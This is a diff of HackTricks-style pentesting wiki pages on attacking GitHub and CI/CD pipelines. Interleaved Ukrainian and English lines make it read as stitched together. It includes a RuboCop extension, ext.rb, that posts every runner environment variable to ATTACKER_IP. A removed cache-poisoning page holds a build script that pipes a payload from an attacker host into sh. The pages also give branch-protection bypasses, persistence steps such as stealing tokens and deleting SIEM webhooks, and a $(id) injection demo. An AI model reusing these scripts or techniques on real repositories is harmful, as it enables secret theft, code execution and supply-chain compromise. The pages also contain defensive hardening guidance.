- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
|
||||
Файли експлуатації в PR:
|
||||
Exploit files in the PR:
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (екстракція змінних середовища виконавця):
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Також включіть достатньо великий фіктивний файл Ruby (наприклад, main.rb), щоб лінтер дійсно запустився.
|
||||
|
||||
Вплив, спостережений у реальному світі:
|
||||
- Повне виконання коду на виробничому виконувачі, який виконував лінтер
|
||||
- Екстракція чутливих змінних середовища, включаючи приватний ключ GitHub App, що використовується сервісом, API ключі, облікові дані БД тощо.
|
||||
- З вит leaked приватним ключем GitHub App ви можете створювати токени установки та отримувати доступ на читання/запис до всіх репозиторіїв, наданих цьому додатку (див. розділ вище про імперсонацію GitHub App)
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
|
||||
Рекомендації щодо посилення безпеки для сервісів, що виконують зовнішні інструменти:
|
||||
- Вважайте конфігурації інструментів, надані репозиторієм, ненадійним кодом
|
||||
- Виконуйте інструменти в суворо ізольованих пісочницях без змінних середовища, що містять чутливу інформацію
|
||||
- Застосовуйте облікові дані з найменшими привілеями та ізоляцію файлової системи, а також обмежуйте/забороняйте вихідний мережевий трафік для інструментів, які не потребують доступу до Інтернету
|
||||
Impact observed in the wild:
|
||||
- Full code execution on the production runner that executed the linter
|
||||
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
|
||||
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
|
||||
|
||||
## Обхід захисту гілок
|
||||
Hardening guidelines for services running external tools:
|
||||
- Treat repository‑provided tool configs as untrusted code
|
||||
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
|
||||
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
|
||||
|
||||
- **Вимагайте певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто прийняти свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином.
|
||||
- _Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR._
|
||||
- **Скасовуйте схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку.
|
||||
- **Вимагайте оглядів від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім схвалив його самостійно**.
|
||||
- Коли файл **CODEOWNER неправильно налаштований**, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, **захист власників коду не застосовується.**
|
||||
- **Дозвольте вказаним учасникам обходити вимоги до запитів на злиття**: Якщо ви один з цих учасників, ви можете обійти захист запитів на злиття.
|
||||
- **Включіть адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок.
|
||||
- **Викрадення PR**: Ви можете бути в змозі **змінити PR когось іншого**, додавши шкідливий код, схваливши отриманий PR самостійно і злити все.
|
||||
- **Видалення захисту гілок**: Якщо ви є **адміністратором репозиторію, ви можете вимкнути захист**, злити свій PR і знову встановити захист.
|
||||
- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`).
|
||||
- Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, який спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**.
|
||||
## Branch Protection Bypass
|
||||
|
||||
## Обхід захисту середовищ
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
|
||||
Для введення про [**Github Environment перевірте основну інформацію**](basic-github-information.md#git-environments).
|
||||
## Bypass Environments Protections
|
||||
|
||||
У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому випадку, **знайдіть гілку, в яку ви можете надсилати код** і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один).
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
|
||||
Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш над самим собою. **Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Зверніть увагу, що **після створення** гілки **захист гілки буде застосовано до нової гілки** і ви не зможете її змінити, але на той момент ви вже вивантажите секрети.
|
||||
|
||||
## Постійність
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
|
||||
- Генерувати **токен користувача**
|
||||
- Вкрасти **токени github** з **секретів**
|
||||
- **Видалення** результатів **робочих процесів** та **гілок**
|
||||
- Надати **більше прав всій організації**
|
||||
- Створити **вебхуки** для ексфільтрації інформації
|
||||
- Запросити **зовнішніх співпрацівників**
|
||||
- **Видалити** **вебхуки**, які використовуються **SIEM**
|
||||
- Створити/змінити **Github Action** з **бекдором**
|
||||
- Знайти **вразливий Github Action для командної ін'єкції** через модифікацію **значення секрету**
|
||||
## Persistence
|
||||
|
||||
### Підроблені коміти - Бекдор через коміти репозиторію
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
|
||||
У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для версії коду з форка. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**.
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
|
||||
Як [**цей**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
Для отримання додаткової інформації перегляньте [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
## Посилання
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
- [Як ми експлуатували CodeRabbit: від простого PR до RCE та запису доступу на 1M репозиторіях](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Розширення Rubocop (вимога)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Аутентифікація за допомогою GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Список установок для аутентифікованого додатку](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Створити токен доступу до установки для додатку](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,5 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,49 +2,4 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
|
||||
Кеш GitHub Actions є глобальним для репозиторію. Будь-який workflow, який знає cache `key` (або `restore-keys`), може заповнити цей запис, навіть якщо job має лише `permissions: contents: read`. GitHub не сегрегує кеші за workflow, типом події або рівнем довіри, тому атакуючий, який компрометує job з низькими привілеями, може отруїти кеш, який привілейована release job пізніше відновить. Саме так компрометація Ultralytics перекинулася з workflow `pull_request_target` у пайплайн публікації PyPI.
|
||||
|
||||
## Примітиви атаки
|
||||
|
||||
- `actions/cache` надає операції відновлення та збереження (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). Виклик збереження дозволено для будь-якої job, окрім справді недовірених `pull_request` workflows, викликаних із форків.
|
||||
- Записи кешу ідентифікуються виключно за `key`. Широкі `restore-keys` полегшують інжекцію payloads, оскільки атакуючому потрібно лише спричинити колізію по префіксу.
|
||||
- Кешований файловий простір відновлюється дослівно. Якщо кеш містить скрипти або бінарні файли, що виконуються пізніше, атакуючий контролює цей шлях виконання.
|
||||
|
||||
## Приклад ланцюга експлуатації
|
||||
|
||||
_Workflow автора (`pull_request_target`) отруїв кеш:_
|
||||
```yaml
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p toolchain/bin
|
||||
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
|
||||
chmod +x toolchain/bin/build
|
||||
- uses: actions/cache/save@v4
|
||||
with:
|
||||
path: toolchain
|
||||
key: linux-build-${{ hashFiles('toolchain.lock') }}
|
||||
```
|
||||
_Привілейований workflow відновився та виконав poisoned cache:_
|
||||
```yaml
|
||||
steps:
|
||||
- uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: toolchain
|
||||
key: linux-build-${{ hashFiles('toolchain.lock') }}
|
||||
- run: toolchain/bin/build release.tar.gz
|
||||
```
|
||||
Другий job тепер виконує код, контрольований атакуючим, маючи при собі облікові дані для релізу (PyPI tokens, PATs, cloud deploy keys, etc.).
|
||||
|
||||
## Практичні поради щодо експлуатації
|
||||
|
||||
- Націлюйтеся на workflows, що запускаються через `pull_request_target`, `issue_comment` або команди ботів, які все ще зберігають кеші; GitHub дозволяє їм перезаписувати ключі для всього репозиторію навіть коли runner має лише доступ для читання репо.
|
||||
- Шукайте детерміновані ключі кешу, які повторно використовуються через межі довіри (наприклад, `pip-${{ hashFiles('poetry.lock') }}`) або ліберальні `restore-keys`, після чого збережіть свій шкідливий tarball перед запуском привілейованого workflow.
|
||||
- Моніторте логи на записи `Cache saved` або додайте власний крок збереження кешу, щоб наступний release job відновив payload і виконав троянізовані скрипти чи бінарні файли.
|
||||
|
||||
## Джерела
|
||||
|
||||
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,73 +2,81 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Розуміння ризику
|
||||
## Understanding the risk
|
||||
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Ключові моменти:
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). Див. untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
|
||||
## Уразливий шаблон → RCE on runner
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
|
||||
Вразливий workflow (triggered when someone opens a new issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Якщо зловмисник відкриє issue з назвою $(id), відрендерений крок стане:
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
Підстановка команди виконує id на runner. Приклад виводу:
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Чому лапки не рятують:
|
||||
- Вираження обчислюються спочатку, а потім виконується отриманий скрипт. Якщо ненадійне значення містить $(...), `;`, `"`/`'` або нові рядки, воно може змінити структуру програми незважаючи на ваші лапки.
|
||||
|
||||
## Безпечний шаблон (shell variables via env)
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
|
||||
Правильне пом'якшення: скопіюйте ненадійне вхідне значення у змінну середовища, потім використовуйте нативне shell-розгортання ($VAR) у run script. Не вбудовуйте знову ${{ ... }} всередині команди.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Примітки:
|
||||
- Уникайте використання ${{ env.TITLE }} всередині run:. Це знову вводить рендеринг шаблонів у команду і створює той самий ризик ін'єкції.
|
||||
- Краще передавати недовірені введення через відображення env: і звертатися до них як $VAR у run:.
|
||||
|
||||
## Поверхні, які може ініціювати читач (вважати ненадійними)
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
Облікові записи з правом лише на читання у публічних репозиторіях все ще можуть викликати багато подій. Будь-яке поле в контекстах, отриманих із цих подій, слід вважати контрольованим зловмисником, якщо не доведено протилежне. Приклади:
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
@@ -77,20 +85,20 @@ echo "New issue $TITLE created"
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
Які конкретно поля контролюються зловмисником залежить від події. Зверніться до GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Практичні поради
|
||||
## Practical tips
|
||||
|
||||
- Мінімізуйте використання виразів всередині run:. Віддавайте перевагу відображенню env: + $VAR.
|
||||
- Якщо потрібно трансформувати введення, робіть це в shell, використовуючи безпечні інструменти (printf %q, jq -r, тощо), все одно починаючи з shell-змінної.
|
||||
- Будьте особливо обережні при інтерполяції імен гілок, заголовків PR, імен користувачів, labels, discussion titles та PR head refs у скрипти, параметри командного рядка або шляхи до файлів.
|
||||
- Для reusable workflows і composite actions застосовуйте той самий підхід: відобразіть у env, а потім посилайтеся на $VAR.
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,56 +1,58 @@
|
||||
# Доступні видалені дані в Github
|
||||
# Accessible Deleted Data in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ці способи доступу до даних з Github, які нібито були видалені, були [**повідомлені в цьому блозі**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Доступ до видалених даних форків
|
||||
## Accessing Deleted Fork Data
|
||||
|
||||
1. Ви форкаєте публічний репозиторій
|
||||
2. Ви комітите код у ваш форк
|
||||
3. Ви видаляєте ваш форк
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
|
||||
> [!CAUTION]
|
||||
> Дані, комітовані у видаленому форку, все ще доступні.
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
|
||||
## Доступ до видалених даних репозиторію
|
||||
## Accessing Deleted Repo Data
|
||||
|
||||
1. У вас є публічний репозиторій на GitHub.
|
||||
2. Користувач форкає ваш репозиторій.
|
||||
3. Ви комітите дані після того, як вони його форкнули (і вони ніколи не синхронізують свій форк з вашими оновленнями).
|
||||
4. Ви видаляєте весь репозиторій.
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Навіть якщо ви видалили свій репозиторій, всі зміни, внесені до нього, все ще доступні через форки.
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
|
||||
## Доступ до даних приватного репозиторію
|
||||
## Accessing Private Repo Data
|
||||
|
||||
1. Ви створюєте приватний репозиторій, який врешті-решт буде зроблений публічним.
|
||||
2. Ви створюєте приватну, внутрішню версію цього репозиторію (через форк) і комітите додатковий код для функцій, які ви не збираєтеся робити публічними.
|
||||
3. Ви робите свій “upstream” репозиторій публічним і зберігаєте свій форк приватним.
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
|
||||
> [!CAUTION]
|
||||
> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка і публікацією публічної версії.
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
|
||||
## Як виявити коміти з видалених/прихованих форків
|
||||
## How to discover commits from deleted/hidden forks
|
||||
|
||||
Той же блог пропонує 2 варіанти:
|
||||
The same blog post propose 2 options:
|
||||
|
||||
### Прямий доступ до коміту
|
||||
### Directly accessing the commit
|
||||
|
||||
Якщо відомий ідентифікатор коміту (sha-1), його можна отримати за адресою `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Брутфорсинг коротких SHA-1 значень
|
||||
### Brute-forcing short SHA-1 values
|
||||
|
||||
Це однаково для доступу до обох з них:
|
||||
It's the same to access both of these:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
І останній використовує короткий sha-1, який можна брутфорсити.
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,212 +1,218 @@
|
||||
# Основна інформація про Github
|
||||
# Basic Github Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Базова структура
|
||||
## Basic Structure
|
||||
|
||||
Базова структура середовища github великої **компанії** — це наявність **enterprise**, яке володіє **кількома organizations**, і кожна з них може містити **кілька repositories** та **кілька teams.** Менші компанії можуть просто **володіти однією organization і не мати enterprise**.
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
|
||||
З точки зору користувача **user** може бути **member** різних **enterprises та organizations**. У межах них у користувача можуть бути **різні enterprise, organization та repository roles**.
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
|
||||
Крім того, користувач може бути **частиною різних teams** з різними enterprise, organization або repository ролями.
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
|
||||
І нарешті **repositories можуть мати спеціальні механізми захисту**.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Привілеї
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: Люди з цією роллю можуть **керувати адміністраторами, керувати organizations у складі enterprise, керувати налаштуваннями enterprise, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань чи вмісту organization**, якщо їх не призначено organization owner або не надано прямий доступ до repository, що належить organization.
|
||||
- **Enterprise members**: Members organization, що належать вашому enterprise, також **автоматично є членами enterprise**.
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
В організації користувачі можуть мати різні ролі:
|
||||
In an organisation users can have different roles:
|
||||
|
||||
- **Organization owners**: Organization owners мають **повний адміністративний доступ до вашої organization**. Цю роль слід обмежити, але не менше ніж двома людьми в організації.
|
||||
